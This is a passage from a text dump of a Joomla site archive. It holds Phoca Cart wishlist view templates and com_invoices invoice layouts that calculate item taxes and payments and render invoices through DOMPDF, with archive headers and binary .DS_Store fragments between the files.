class="'.$this->s['c']['col.xs12.sm2.md2'].'
phVMiddle">'.$price->getPriceItem($v['price'],
$v['group_price']).'</div>';
} else {
echo '<div
class="'.$this->s['c']['col.xs12.sm2.md2'].'
phVMiddle"></div>';
}
echo '<div
class="'.$this->s['c']['col.xs12.sm2.md2'].'
phVMiddle">';
echo '<form
action="'.$this->t['linkwishlist'].'"
method="post">';
echo '<input type="hidden" name="id"
value="'.(int)$v['id'].'">';
echo '<input type="hidden" name="task"
value="wishlist.remove">';
echo '<input type="hidden" name="tmpl"
value="component" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />';
echo '<input type="hidden" name="return"
value="'.$this->t['actionbase64'].'"
/>';
//echo '<div class="ph-center">';
echo '<button type="submit"
class="'.$this->s['c']['btn.btn-danger'].'
ph-btn"
title="'.JText::_('COM_PHOCACART_REMOVE').'"><span
class="'.$this->s['i']['remove'].'"></span></button>';
//echo '</div>';
echo ' ';
$link = JRoute::_(PhocacartRoute::getItemRoute($v['id'],
$v['catid'], $v['alias'], $v['catalias']));
echo '<a href="'.$link.'"
class="'.$this->s['c']['btn.btn-primary'].'
ph-btn" role="button"
title="'.JText::_('COM_PHOCACART_VIEW_PRODUCT').'"><span
class="'.$this->s['i']['search'].'"></span></a>';
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '</form>';
echo '</div>';
/*
if ($this->t['value']['attrib'] == 1) {
$c['attrib'] .= '<td>';
if(!empty($v['attr_options'])) {
foreach ($v['attr_options'] as $k2 => $v2) {
$c['attrib'] .=
'<div>'.$v2->title.'</div>';
if(!empty($v2->options)) {
$c['attrib'] .= '<ul>';
foreach ($v2->options as $k3 => $v3) {
$c['attrib'] .=
'<li>'.$v3->title.'</li>';
}
$c['attrib'] .= '</ul>';
}
}
}
$c['attrib'] .= '</td>';
} */
echo '</div>';// end row
}
echo $this->loadTemplate('login');
} else {
echo '<div class="alert alert-error
alert-danger">'.JText::_('COM_PHOCACART_THERE_ARE_NO_PRODUCTS_IN_YOUR_WISH_LIST').'</div>';
}
echo '</div>';// end wishlist box
echo '<div> </div>';
echo PhocacartUtilsInfo::getInfo();
?>
wishlist/tmpl/default.xml000064400000000745151165727160011555
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_PHOCACART_WISH_LIST_LAYOUT">
<message>
<![CDATA[COM_PHOCACART_WISH_LIST_LAYOUT_DESC]]>
</message>
</layout>
<name>COM_PHOCACART_WISH_LIST_LAYOUT</name>
<description>COM_PHOCACART_WISH_LIST_LAYOUT_DESC</description>
<fields name="params">
<fieldset name="basic"
addfieldpath="/administrator/components/com_phocacart/models/fields"
>
</fieldset>
</fields>
</metadata>wishlist/tmpl/default_login.php000064400000004125151165727160012730
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$layoutUL = new JLayoutFile('user_login', null,
array('component' => 'com_phocacart'));
if((int)$this->u->id > 0) {
// User is logged in
} else {
echo '<p> </p>';
echo '<div class="alert
alert-error">'.JText::_('COM_PHOCACART_YOUR_WISHLIST_WILL_BE_SAVED_ONLY_IF_YOU_LOGIN').'</div>';
echo '<div
class="'.$this->s['c']['row'].'
ph-account-box-row" >';
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'
ph-account-box-header"
id="phaccountloginedit"><h3>'.JText::_('COM_PHOCACART_LOGIN_REGISTER').'</h3></div>';
echo '</div>';
echo '<div
class="'.$this->s['c']['row'].'
ph-account-box-action">';
echo '<div
class="'.$this->s['c']['col.xs12.sm8.md8'].'
ph-wishlist-login-box-row ph-right-border" >';
$d = array();
$d['s'] = $this->s;
$d['t'] = $this->t;
echo $layoutUL->render($d);
echo '</div>'. "\n";// end columns
echo '<div
class="'.$this->s['c']['col.xs12.sm4.md4'].'
ph-left-border">';
$usersConfig = JComponentHelper::getParams('com_users');
//echo '<ul class="unstyled">'. "\n";
if ($usersConfig->get('allowUserRegistration')) {
echo '<div
class="ph-box-header">'.JText::_('COM_PHOCACART_REGISTER').'</div>'.
"\n";
//echo '<li><a href="'.
JRoute::_('index.php?option=com_users&view=registration').'">'.JText::_('MOD_LOGIN_REGISTER').'<span
class="icon-arrow-right"></span></a></li>'.
"\n";
echo '<a
class="'.$this->s['c']['btn.btn-primary.btn-sm'].'
ph-checkout-btn-login" href="'.
JRoute::_('index.php?option=com_users&view=registration').'"><span
class="'.$this->s['i']['user'].'"></span>
'.JText::_('MOD_LOGIN_REGISTER').'</a>'.
"\n";
}
//echo '</ul>'. "\n";
echo '</div>'. "\n";// end columns
echo '<div class="ph-cb"></div>';
echo '</div>'. "\n";// end row
}
?>
wishlist/tmpl/index.html000064400000000054151165727160011375
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>wishlist/view.html.php000064400000006535151165727210011060
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
jimport( 'joomla.application.component.view');
class PhocaCartViewWishList extends JViewLegacy
{
protected $t;
protected $r;
protected $s;
protected $p;
protected $u;
function display($tpl = null)
{
$app = JFactory::getApplication();
$model = $this->getModel();
$document = JFactory::getDocument();
$this->p = $app->getParams();
$this->u = PhocacartUser::getUser();
$this->s = PhocacartRenderStyle::getStyles();
$rights = new PhocacartAccessRights();
$this->t['can_display_price'] =
$rights->canDisplayPrice();
//$this->t['categories'] =
$model->getCategoriesList();
$this->t['cart_metakey'] = $this->p->get(
'cart_metakey', '' );
$this->t['cart_metadesc'] = $this->p->get(
'cart_metadesc', '' );
$this->t['display_webp_images'] =
$this->p->get( 'display_webp_images', 0 );
//$this->t['hide_addtocart'] = $this->p->get(
'hide_addtocart', 0 );
//$this->t['category_addtocart'] = $this->p->get(
'category_addtocart', 1 );
$uri = \Joomla\CMS\Uri\Uri::getInstance();
$this->t['action'] = $uri->toString();
$this->t['actionbase64'] =
base64_encode($this->t['action']);
$this->t['linkwishlist'] =
JRoute::_(PhocacartRoute::getWishListRoute());
$wishlist = new PhocacartWishlist();
$this->t['items'] = $wishlist->getFullItems();
if (!empty($this->t['items'])) {
foreach ($this->t['items'] as $k => $v) {
/* $this->t['items'][$k]['attr_options']=
PhocacartAttribute::getAttributesAndOptions((int)$v['id']);
if
(!empty($this->t['items'][$k]['attr_options'])) {
$this->t['value']['attrib'] = 1;
}
$this->t['items'][$k]['specifications']=
PhocacartSpecification::getSpecificationGroupsAndSpecifications((int)$v['id']);
if
(!empty($this->t['items'][$k]['specifications'])) {
foreach($this->t['items'][$k]['specifications']
as $k2 => $v2) {
//$this->t['spec'][$k2] = $v2[0];
$newV2 = $v2;
unset($newV2[0]);
if (!empty($newV2)) {
foreach($newV2 as $k3 => $v3) {
$this->t['spec'][$v2[0]][$v3['title']][$k] =
$v3['value'];
//$this->t['spec'][$k2][$k3][$k3] =
$v3['value'];
}
}
}
}*/
$stockStatus =
PhocacartStock::getStockStatus((int)$v['stock'],
(int)$v['min_quantity'],
(int)$v['min_multiple_quantity'],
(int)$v['stockstatus_a_id'],
(int)$v['stockstatus_n_id']);
$this->t['items'][$k]['stock'] =
PhocacartStock::getStockStatusOutput($stockStatus);
if ($this->t['items'][$k]['stock'] !=
'') {
$this->t['value']['stock'] = 1;
}
}
}
$media = PhocacartRenderMedia::getInstance('main');
$media->loadBase();
$media->loadSpec();
$this->t['pathitem'] =
PhocacartPath::getPath('productimage');
$this->_prepareDocument();
parent::display($tpl);
}
protected function _prepareDocument() {
PhocacartRenderFront::prepareDocument($this->document, $this->p,
false, false, JText::_('COM_PHOCACART_WISH_LIST'));
}
}
?>
invoice/.DS_Store000064400000014004151165730260007670
0ustar00Bud1 bwspblob�tmplbwspblob�bplist00�
]ShowStatusBar[ShowPathbar[ShowToolbar[ShowTabView_ContainerShowSidebar\WindowBounds\SidebarWidth[ShowSidebar _{{948,
189}, {1479,
1104}}� '3?Kbo|���������tmplvSrnlong
@� @� @� @E DSDB
`� @� @�
@invoice/index.html000064400000000054151165730260010202
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>invoice/tmpl/.DS_Store000064400000014004151165730260010644
0ustar00Bud1% @� @�
@� @E%DSDB`� @�
@�
@invoice/tmpl/component.php000064400000005456151165730260011707
0ustar00<?php // no direct access
/*------------------------------------------------------------------------
# com_invoices - Invoice Manager for Joomla
# ------------------------------------------------------------------------
# author Germinal Camps
# copyright Copyright (C) 2012 - 2016 JoomlaThat.com. All Rights
Reserved.
# @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
# Websites: http://www.joomlathat.com
# Technical Support: Forum - http://www.joomlathat.com/support
-------------------------------------------------------------------------*/
//no direct access
defined('_JEXEC') or die('Restricted access.');
if(!empty($this->payments2)){
$paynow_button = "<a
href='".InvoicesHelper::getPaymentLink($this->payments2[0]->id)."'
class='btn btn-success
'>".JText::sprintf('PAY_NOW_AMOUNT',
InvoicesHelper::format($this->payments2[0]->payment_amount,
$currency))."</a>";
}
else $paynow_button = "" ;
?>
<nav class="navbar navbar-expand-lg navbar-dark bg-dark sticky-top
shadow-sm">
<div class="container">
<button class="navbar-toggler" type="button"
data-toggle="collapse"
data-target="#navbarNavAltMarkup"
aria-controls="navbarNavAltMarkup"
aria-expanded="false" aria-label="Toggle
navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse"
id="navbarNavAltMarkup">
<span class="navbar-text">
<?php echo JText::_('INVOICE'); ?> <?php echo
$this->invoice->invoice_num; ?>
</span>
<?php if($paynow_button){ ?>
<div class="ml-auto mr-auto">
<a class="btn btn-success"
href="<?php echo
InvoicesHelper::getPaymentLink($this->payments2[0]->id);
?>">
<?php echo JText::sprintf('PAY_NOW_AMOUNT',
InvoicesHelper::format($this->payments2[0]->payment_amount,
$currency)); ?></a>
</div>
<?php } ?>
<div class="btn-group" role="group"
aria-label="Invoice options">
<a class="btn btn-outline-secondary"
href="<?php echo
InvoicesHelper::download_pdf_link($this->invoice->id);
?>">
<span class="glyphicon
glyphicon-download-alt"></span> <?php echo
JText::_('PDF'); ?></a>
<a class="btn btn-outline-secondary"
href="#">
<span class="glyphicon
glyphicon-print"></span> <?php echo
JText::_('PRINT'); ?></a>
<a class="btn btn-outline-secondary"
href="<?php echo
InvoicesHelper::send_email_link($this->invoice->id); ?>">
<span class="glyphicon
glyphicon-envelope"></span> <?php echo
JText::_('SEND'); ?></a>
</div>
</div>
</div>
</nav>
<div class="wrapper bg-secondary py-4"
style="min-height:100vh;">
<div class="container bg-white p-4 shadow-sm">
<?php
include(JPATH_SITE.DS.'components'.DS.'com_invoices'.DS.'views'.DS.'invoice'.DS.'tmpl'.DS.'default.php');
?>
</div>
</div>
invoice/tmpl/default.php000064400000043736151165730260011334
0ustar00<?php // no direct access
/*------------------------------------------------------------------------
# com_invoices - Invoice Manager for Joomla
# ------------------------------------------------------------------------
# author Germinal Camps
# copyright Copyright (C) 2012 - 2016 JoomlaThat.com. All Rights
Reserved.
# @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
# Websites: http://www.joomlathat.com
# Technical Support: Forum - http://www.joomlathat.com/support
-------------------------------------------------------------------------*/
//no direct access
defined('_JEXEC') or die('Restricted access.');
$user = JFactory::getUser();
$items = "";
$taxes = "";
$payments = "";
$payments2 = "";
$subtotal = 0 ;
$subtotal_items = 0 ;
$items_tax = 0 ;
$subtotal_items_no_discount = 0;
$outstanding_payments = 0;
$total_items_discount = 0;
if(!$this->invoice->currency_id) $this->invoice->currency_id =
$this->params->get('currency_id', 1);
$db = JFactory::getDBO();
$query = "SELECT * FROM #__invoices_currencies WHERE id =
".$this->invoice->currency_id;
$db->setQuery($query);
$currency = $db->loadObject();
// MULTI LANGUAGE
if($this->invoice->language){
$lang = JFactory::getLanguage();
$lang->load('joomla', JPATH_SITE,
$this->invoice->language, true);
$lang->load('com_invoices', JPATH_SITE,
$this->invoice->language, true);
}
$pattern = '/\[\[(.*?)\]\]/' ;
$matches = array();
preg_match_all($pattern, $this->template->content, $matches);
foreach($matches[1] as $value){
$this->template->content =
str_replace("[[".$value."]]", JText::_($value),
$this->template->content);
}
if(empty($this->template->company_logo)) {
$this->template->company_logo = 'logo_default.png';
}
//prepare the template iterating parts
if(str_replace(array(" ","\n", "\r"),
"",
InvoicesHelper::get_string_between($this->template->content,
"<!--ITEMS-->", "<!--/ITEMS-->")) !=
""){
$this->template->items =
InvoicesHelper::get_string_between($this->template->content,
"<!--ITEMS-->", "<!--/ITEMS-->");
$this->template->taxes =
InvoicesHelper::get_string_between($this->template->content,
"<!--TAXES-->", "<!--/TAXES-->");
$this->template->payments =
InvoicesHelper::get_string_between($this->template->content,
"<!--PAYMENTS-->", "<!--/PAYMENTS-->");
$this->template->payments2 =
InvoicesHelper::get_string_between($this->template->content,
"<!--PAYMENTS2-->", "<!--/PAYMENTS2-->");
$this->template->grouped_taxes =
InvoicesHelper::get_string_between($this->template->content,
"<!--GROUPED_TAXES-->",
"<!--/GROUPED_TAXES-->");
$this->template->grouped_taxes_total =
InvoicesHelper::get_string_between($this->template->content,
"<!--GROUPED_TAXES_TOTAL-->",
"<!--/GROUPED_TAXES_TOTAL-->");
$this->template->content =
InvoicesHelper::replace_string_between($this->template->content,
"<!--ITEMS-->", "<!--/ITEMS-->",
"{items}");
$this->template->content =
InvoicesHelper::replace_string_between($this->template->content,
"<!--TAXES-->", "<!--/TAXES-->",
"{taxes}");
$this->template->content =
InvoicesHelper::replace_string_between($this->template->content,
"<!--PAYMENTS-->", "<!--/PAYMENTS-->",
"{payments}");
$this->template->content =
InvoicesHelper::replace_string_between($this->template->content,
"<!--PAYMENTS2-->", "<!--/PAYMENTS2-->",
"{payments2}");
$this->template->content =
InvoicesHelper::replace_string_between($this->template->content,
"<!--GROUPED_TAXES-->",
"<!--/GROUPED_TAXES-->", "{grouped_taxes}");
$this->template->content =
InvoicesHelper::replace_string_between($this->template->content,
"<!--GROUPED_TAXES_TOTAL-->",
"<!--/GROUPED_TAXES_TOTAL-->",
"{grouped_taxes_total}");
}
$this->individual_taxes = array();
if(!empty($this->items)){
foreach($this->items as $item){
$item_subtotal_no_discount = ($item->value * $item->amount);
$item_subtotal = $item_subtotal_no_discount - $item->discount;
$item_tax = $item_subtotal * ($item->tax/100);
$item_total = $item_subtotal + $item_tax;
$subtotal_items += $item_subtotal ;
$subtotal_items_no_discount += $item_subtotal_no_discount ;
$total_items_discount += $item->discount ;
$items_tax += $item_tax ;
$subtotal += $item_total ;
$item_with_tax = $item->value * (1+($item->tax/100));
//Individual tax items
$individual_tax_amount = $item_tax;
$individual_tax_percent = $item->tax;
if ($individual_tax_amount != 0 || $item->tax_id)
{
if (!isset($this->individual_taxes[$item->tax_id]))
$this->individual_taxes[$item->tax_id] = array();
if (array_key_exists($individual_tax_percent,
$this->individual_taxes[$item->tax_id])){
$this->individual_taxes[$item->tax_id][$individual_tax_percent]->value
+= $individual_tax_amount;
$this->individual_taxes[$item->tax_id][$individual_tax_percent]->calculated_on_amount
+= $item_subtotal;
} else {
$this->individual_taxes[$item->tax_id][$individual_tax_percent] = new
stdClass();
if($item->tax_id)
$this->individual_taxes[$item->tax_id][$individual_tax_percent]->name
= $item->tax_name;
else
$this->individual_taxes[$item->tax_id][$individual_tax_percent]->name
= JText::sprintf("GROUPED_TAX", $individual_tax_percent);
$this->individual_taxes[$item->tax_id][$individual_tax_percent]->value
= $individual_tax_amount;
$this->individual_taxes[$item->tax_id][$individual_tax_percent]->percent_value
= $individual_tax_percent;
$this->individual_taxes[$item->tax_id][$individual_tax_percent]->calculated_on_amount
= $item_subtotal;
$this->individual_taxes[$item->tax_id][$individual_tax_percent]->tax_id
= $item->tax_id;
}
}
$search = array(
"{name}",
"{desc}",
"{value}",
"{amount}",
"{discount}",
"{sku}",
"{tax}",
"{item_total}",
//new fields version 1.4
"{item_subtotal_no_discount}",
"{item_subtotal}",
"{item_tax_value}",
//v 2.1
"{tax_name}",
"{item_with_tax}"
);
$replace = array(
$item->name,
$item->desc,
InvoicesHelper::format($item->value, $currency),
$item->amount,
InvoicesHelper::format($item->discount, $currency),
$item->sku,
InvoicesHelper::format($item->tax,
InvoicesHelper::percentCurrency($currency)),
InvoicesHelper::format($item_total, $currency),
//new fields version 1.4
InvoicesHelper::format($item_subtotal_no_discount, $currency),
InvoicesHelper::format($item_subtotal, $currency),
InvoicesHelper::format($item_tax, $currency),
//v 2.1
$item->tax_name,
InvoicesHelper::format($item_with_tax, $currency)
);
$items .= str_replace($search, $replace, $this->template->items) ;
}
}
$subtotal -= $this->invoice->discount ;
$subtotal_items_less_discount = $subtotal_items -
$this->invoice->discount ;
$taxes_value = 0;
$subtotal1 = $subtotal ;
$subtotal1_items = $subtotal_items_less_discount ;
if(!empty($this->taxes)){
foreach($this->taxes as $tax){
switch($tax->type){
case "percent":
if($tax->ordering == 1){ //first group of taxes
if($tax->calculate_on == 1) $tax_value = ( $tax->value / 100 ) *
$subtotal_items_less_discount ;
else $tax_value = ( $tax->value / 100 ) * $subtotal ;
}
else if($tax->ordering == 2){ //second group of taxes
if($tax->calculate_on == 1) $tax_value = ( $tax->value / 100 ) *
$subtotal1_items ;
else $tax_value = ( $tax->value / 100 ) * $subtotal1 ;
}
$print_tax_value = InvoicesHelper::format($tax->value,
InvoicesHelper::percentCurrency($currency));
break;
case "static":
$tax_value = $tax->value ;
$print_tax_value = InvoicesHelper::format($tax->value, $currency);
break;
}
if($tax->ordering == 1){
$subtotal1 += $tax_value ;
$subtotal1_items += $tax_value;
}
$taxes_value += $tax_value ;
$search = array(
"{name}",
"{value}",
"{tax_value}"
);
$replace = array(
$tax->name,
InvoicesHelper::format($tax_value, $currency),
$print_tax_value
);
$taxes .= str_replace($search, $replace, $this->template->taxes) ;
}
}
$total = $subtotal + $taxes_value ;
//INDIVIDUAL TAX ITERATION
$grouped_taxes = "";
$individual_tax_totals = array();
if(!empty($this->individual_taxes)){
foreach($this->individual_taxes as $taxid => $tax_array){
if(!empty($tax_array)){
if(!isset($individual_tax_totals[$taxid])){
$individual_tax_totals[$taxid] = new stdClass();
$individual_tax_totals[$taxid]->name = "";
}
$individual_tax_total = 0;
$individual_tax_calculated_on_amount = 0;
foreach($tax_array as $tax){
if (isset($tax->name)){
$tax_value = $tax->value ;
$individual_tax_total += $tax_value ;
$individual_tax_calculated_on_amount +=
$tax->calculated_on_amount ;
$individual_tax_totals[$taxid]->name = $tax->name;
$search = array(
"{name}",
"{value}",
"{tax_value}",
"{calculated_on_amount}"
);
$replace = array(
$tax->name,
InvoicesHelper::format($tax_value, $currency),
InvoicesHelper::format($tax->percent_value,
InvoicesHelper::percentCurrency($currency)),
InvoicesHelper::format($tax->calculated_on_amount,
$currency),
);
$grouped_taxes .= str_replace($search, $replace,
$this->template->grouped_taxes) ;
}
}
//the totals on each tax added from individual items. whoaa!! heavy
stuff.
$individual_tax_totals[$taxid]->value = $individual_tax_total;
$individual_tax_totals[$taxid]->calculated_on_amount =
$individual_tax_calculated_on_amount;
}
}
}
//INDIVIDUAL TAX ITERATION TOTALS
$grouped_taxes_total = "";
if(!empty($individual_tax_totals)){
foreach($individual_tax_totals as $tax){
if (isset($tax->name)){
$tax_value = $tax->value ;
$search = array(
"{name}",
"{value}",
"{calculated_on_amount}"
);
$replace = array(
$tax->name,
InvoicesHelper::format($tax_value, $currency),
InvoicesHelper::format($tax->calculated_on_amount,
$currency),
);
$grouped_taxes_total .= str_replace($search, $replace,
$this->template->grouped_taxes_total) ;
}
}
}
//PAYMENTS
$subtotal_payments = 0;
if(!empty($this->payments)){
foreach($this->payments as $payment){
$subtotal_payments += $payment->payment_amount ;
if($payment->payment_duedate == "0000-00-00 00:00:00")
$payment_duedate = JText::_('NOT_SPECIFIED');
else $payment_duedate = JHTML::_('date',
strtotime($payment->payment_duedate),
JText::_($this->params->get('invoice_date_format',
'DATE_FORMAT_LC3')), false) ;
if($payment->payment_datetime == "0000-00-00 00:00:00")
$payment_datetime = JText::_('NOT_SPECIFIED');
else $payment_datetime = JHTML::_('date',
strtotime($payment->payment_datetime),
JText::_($this->params->get('invoice_date_format',
'DATE_FORMAT_LC3')), false) ;
$thestatus = InvoicesHelper::getThePaymentStatus($payment) ;
$statuslabel = InvoicesHelper::render_status_payment($thestatus) ;
$search = array(
"{description}",
"{duedate}",
"{payment_datetime}",
"{amount}",
"{payment_link}",
"{payment_status}"
);
$replace = array(
$payment->payment_description,
$payment_duedate,
$payment_datetime,
InvoicesHelper::format($payment->payment_amount, $currency),
InvoicesHelper::getPaymentLink($payment->id),
$statuslabel
);
$payments .= str_replace($search, $replace,
$this->template->payments) ;
}
}
$amount_outstanding = $total - $subtotal_payments;
//PAYMENTS 2
if(!empty($this->payments2)){
foreach($this->payments2 as $payment){
$outstanding_payments += $payment->payment_amount ;
if($payment->payment_duedate == "0000-00-00 00:00:00")
$payment_duedate = JText::_('NOT_SPECIFIED');
else $payment_duedate = JHTML::_('date',
strtotime($payment->payment_duedate),
JText::_($this->params->get('invoice_date_format',
'DATE_FORMAT_LC3')), false) ;
if($payment->payment_datetime == "0000-00-00 00:00:00")
$payment_datetime = JText::_('NOT_SPECIFIED');
else $payment_datetime = JHTML::_('date',
strtotime($payment->payment_datetime),
JText::_($this->params->get('invoice_date_format',
'DATE_FORMAT_LC3')), false) ;
$thestatus = InvoicesHelper::getThePaymentStatus($payment) ;
$statuslabel = InvoicesHelper::render_status_payment($thestatus) ;
$search = array(
"{description}",
"{duedate}",
"{payment_datetime}",
"{amount}",
"{payment_link}",
"{payment_status}"
);
$replace = array(
$payment->payment_description,
$payment_duedate,
$payment_datetime,
InvoicesHelper::format($payment->payment_amount, $currency),
InvoicesHelper::getPaymentLink($payment->id),
$statuslabel
);
$payments2 .= str_replace($search, $replace,
$this->template->payments2) ;
}
}
$amount_outstanding = $outstanding_payments ;
$status = InvoicesHelper::getInvoiceStatus($this->invoice, $total,
$subtotal_payments, $amount_outstanding);
$status = InvoicesHelper::render_status($status) ;
if(!$this->invoice->invoice_duedate ||
$this->invoice->invoice_duedate == "0000-00-00" ||
$this->invoice->invoice_duedate == "0000-00-00 00:00:00")
$duedate = "<span
class='muted'>".JText::_('NOT_SETTED')."</span>";
else $duedate = JHTML::_('date',
strtotime($this->invoice->invoice_duedate),
JText::_($this->params->get('invoice_date_format',
'DATE_FORMAT_LC3')), false) ;
$search = array(
"{to_name}",
"{to_company}",
"{to_email}",
"{to_address}",
"{from_name}",
"{from_address}",
"{from_num}",
"{from_url}",
"{from_email}",
"{from_phone}",
"{invoice_date}",
"{notes}",
"{invoice_num}",
"{items}",
"{subtotal}",
"{taxes}",
"{total}",
"{payments}",
"{total_payments}",
"{amount_outstanding}",
//new fields version 1.2
"{to_zipcode}",
"{to_city}",
"{to_state}",
"{to_country}",
"{to_vatid}",
"{discount}",
"{invoice_duedate}",
"{payments2}",
"{status}",
"{num_payments_received}",
"{num_pending_payments}",
//new fields version 1.3
"{to_phone}",
"{invoice_link}",
"{invoice_unlogged_link}",
//new fields version 1.4
"{subtotal_items}",
"{total_items_tax}",
"{subtotal_items_no_discount}",
"{total_items_discount}",
"{accept_button}",
"{reject_button}",
"{grouped_taxes}",
"{company_logo}",
//new fields version 2.0
"{external_ref}",
//v 2.1
"{grouped_taxes_total}",
"{subtotal_items_less_total_discount}",
"{paynow_button}"
);
if(!$this->invoice->to_vatid) $this->invoice->to_vatid =
" " ;
if(!$this->invoice->to_phone) $this->invoice->to_phone =
" " ;
if(!$this->invoice->from_num) $this->invoice->from_num =
" " ;
if(!$this->invoice->from_phone) $this->invoice->from_phone =
" " ;
if($this->invoice->status == "pending" ||
$this->invoice->status == ""){
$accept_button = "<a
href='".InvoicesHelper::getQuoteAcceptLink($this->invoice->id)."'
class='btn btn-large btn-success
'>".JText::_('ACCEPT_QUOTE')."</a>";
}
else $accept_button = "" ;
if($this->invoice->status == "pending" ||
$this->invoice->status == ""){
$reject_button = "<a
href='".InvoicesHelper::getQuoteRejectLink($this->invoice->id)."'
class='btn btn-large btn-danger
'>".JText::_('REJECT_QUOTE')."</a>";
}
else $reject_button = "" ;
if(!empty($this->payments2)){
$paynow_button = "<a
href='".InvoicesHelper::getPaymentLink($this->payments2[0]->id)."'
class='btn btn-large btn-lg btn-block btn-success
'>".JText::sprintf('PAY_NOW_AMOUNT',
InvoicesHelper::format($this->payments2[0]->payment_amount,
$currency))."</a>";
}
else $paynow_button = "" ;
$replace = array(
$this->invoice->to_name,
$this->invoice->to_company,
$this->invoice->to_email,
str_replace("\n", "<br
/>",$this->invoice->to_address ),
$this->invoice->from_name,
str_replace("\n", "<br />",
$this->invoice->from_address),
$this->invoice->from_num,
$this->invoice->from_url,
$this->invoice->from_email,
$this->invoice->from_phone,
JHTML::_('date',
strtotime($this->invoice->invoice_date),
JText::_($this->params->get('invoice_date_format',
'DATE_FORMAT_LC3')), false),
$this->invoice->notes,
$this->invoice->invoice_num,
$items,
InvoicesHelper::format($subtotal, $currency),
$taxes,
InvoicesHelper::format($total, $currency),
$payments,
InvoicesHelper::format($subtotal_payments, $currency),
InvoicesHelper::format($amount_outstanding, $currency),
//new fields version 1.2
$this->invoice->to_zipcode,
$this->invoice->to_city,
$this->invoice->to_state,
$this->invoice->to_country,
$this->invoice->to_vatid,
InvoicesHelper::format($this->invoice->discount, $currency),
$duedate,
$payments2,
$status,
InvoicesHelper::render_num_payments_received(count($this->payments)),
InvoicesHelper::render_num_pending_payments(count($this->payments2)),
//new fields version 1.3
$this->invoice->to_phone,
InvoicesHelper::getInvoiceLink($this->invoice->id),
InvoicesHelper::getInvoicePublicLink($this->invoice->id),
//new fields version 1.4
InvoicesHelper::format($subtotal_items, $currency),
InvoicesHelper::format($items_tax, $currency),
InvoicesHelper::format($subtotal_items_no_discount, $currency),
InvoicesHelper::format($total_items_discount, $currency),
$accept_button,
$reject_button,
$grouped_taxes,
JURI::root().'media'.DS.'com_invoices'.DS.$this->template->company_logo,
//new fields version 2.0
$this->invoice->external_ref,
//v 2.1
$grouped_taxes_total,
InvoicesHelper::format($subtotal_items_less_discount, $currency),
$paynow_button
);
echo str_replace($search, $replace, $this->template->content) ;
echo '<div align="center">'.
InvoicesHelper::showInvoicesFooter() .'</div>' ;
?>
invoice/tmpl/default.xml000064400000000714151165730260011332
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<layout title="Standard item Layout"
hidden="true">
<message>
Displays an item
</message>
</layout>
<state>
<name>Standard item Layout</name>
<description>Standard item Layout</description>
<!--url addpath="/components/com_muscol/elements">
<param name="id" type="albumselect"
default="0" label="Album" description="Select an
album" />
</url-->
<params>
</params>
</state>
</metadata>invoice/tmpl/default_email.php000064400000001352151165730260012467
0ustar00<?php // no direct access
/*------------------------------------------------------------------------
# com_invoices - Invoice Manager for Joomla
# ------------------------------------------------------------------------
# author Germinal Camps
# copyright Copyright (C) 2012 - 2016 JoomlaThat.com. All Rights
Reserved.
# @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
# Websites: http://www.joomlathat.com
# Technical Support: Forum - http://www.joomlathat.com/support
-------------------------------------------------------------------------*/
//no direct access
defined('_JEXEC') or die('Restricted access.');
include(JPATH_SITE.DS.'components'.DS.'com_invoices'.DS.'views'.DS.'invoice'.DS.'tmpl'.DS.'default.php');
?>invoice/tmpl/index.html000064400000000054151165730260011156
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>invoice/view.dompdf.php000064400000006264151165730260011151
0ustar00<?php
/*------------------------------------------------------------------------
# com_invoices - Invoice Manager for Joomla
# ------------------------------------------------------------------------
# author Germinal Camps
# copyright Copyright (C) 2012 - 2016 JoomlaThat.com. All Rights
Reserved.
# @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
# Websites: http://www.joomlathat.com
# Technical Support: Forum - http://www.joomlathat.com/support
-------------------------------------------------------------------------*/
//no direct access
defined('_JEXEC') or die('Restricted access.');
jimport( 'joomla.application.component.view');
jimport( 'joomla.html.html');
use Dompdf\Dompdf;
use Dompdf\Options;
class InvoicesViewInvoice extends JViewLegacy
{
function display($tpl = null)
{
require_once(JPATH_SITE.DS.'components'.DS.'com_invoices'.DS.'helpers'.DS.'dompdf'.DS.'autoload.inc.php');
if(file_exists(JPATH_SITE.DS.'libraries'.DS.'joomla'.DS.'html'.DS.'html.php'))
require_once(JPATH_SITE.DS.'libraries'.DS.'joomla'.DS.'html'.DS.'html.php');
elseif(file_exists(JPATH_SITE.DS.'libraries'.DS.'cms'.DS.'html'.DS.'html.php'))
require_once(JPATH_SITE.DS.'libraries'.DS.'cms'.DS.'html'.DS.'html.php');
if(file_exists(JPATH_SITE.DS.'libraries'.DS.'joomla'.DS.'date'.DS.'date.php'))
require_once(JPATH_SITE.DS.'libraries'.DS.'joomla'.DS.'date'.DS.'date.php');
elseif(file_exists(JPATH_SITE.DS.'libraries'.DS.'cms'.DS.'html'.DS.'date.php'))
require_once(JPATH_SITE.DS.'libraries'.DS.'cms'.DS.'html'.DS.'date.php');
$mainframe = JFactory::getApplication();
$document = JFactory::getDocument();
$uri = JFactory::getURI();
$invoice = $this->get( 'Data');
$template = $this->get( 'Template');
$items = $this->get( 'Items');
$taxes = $this->get( 'Taxes');
$payments = $this->get( 'Payments');
$payments2 = $this->get( 'Payments2');
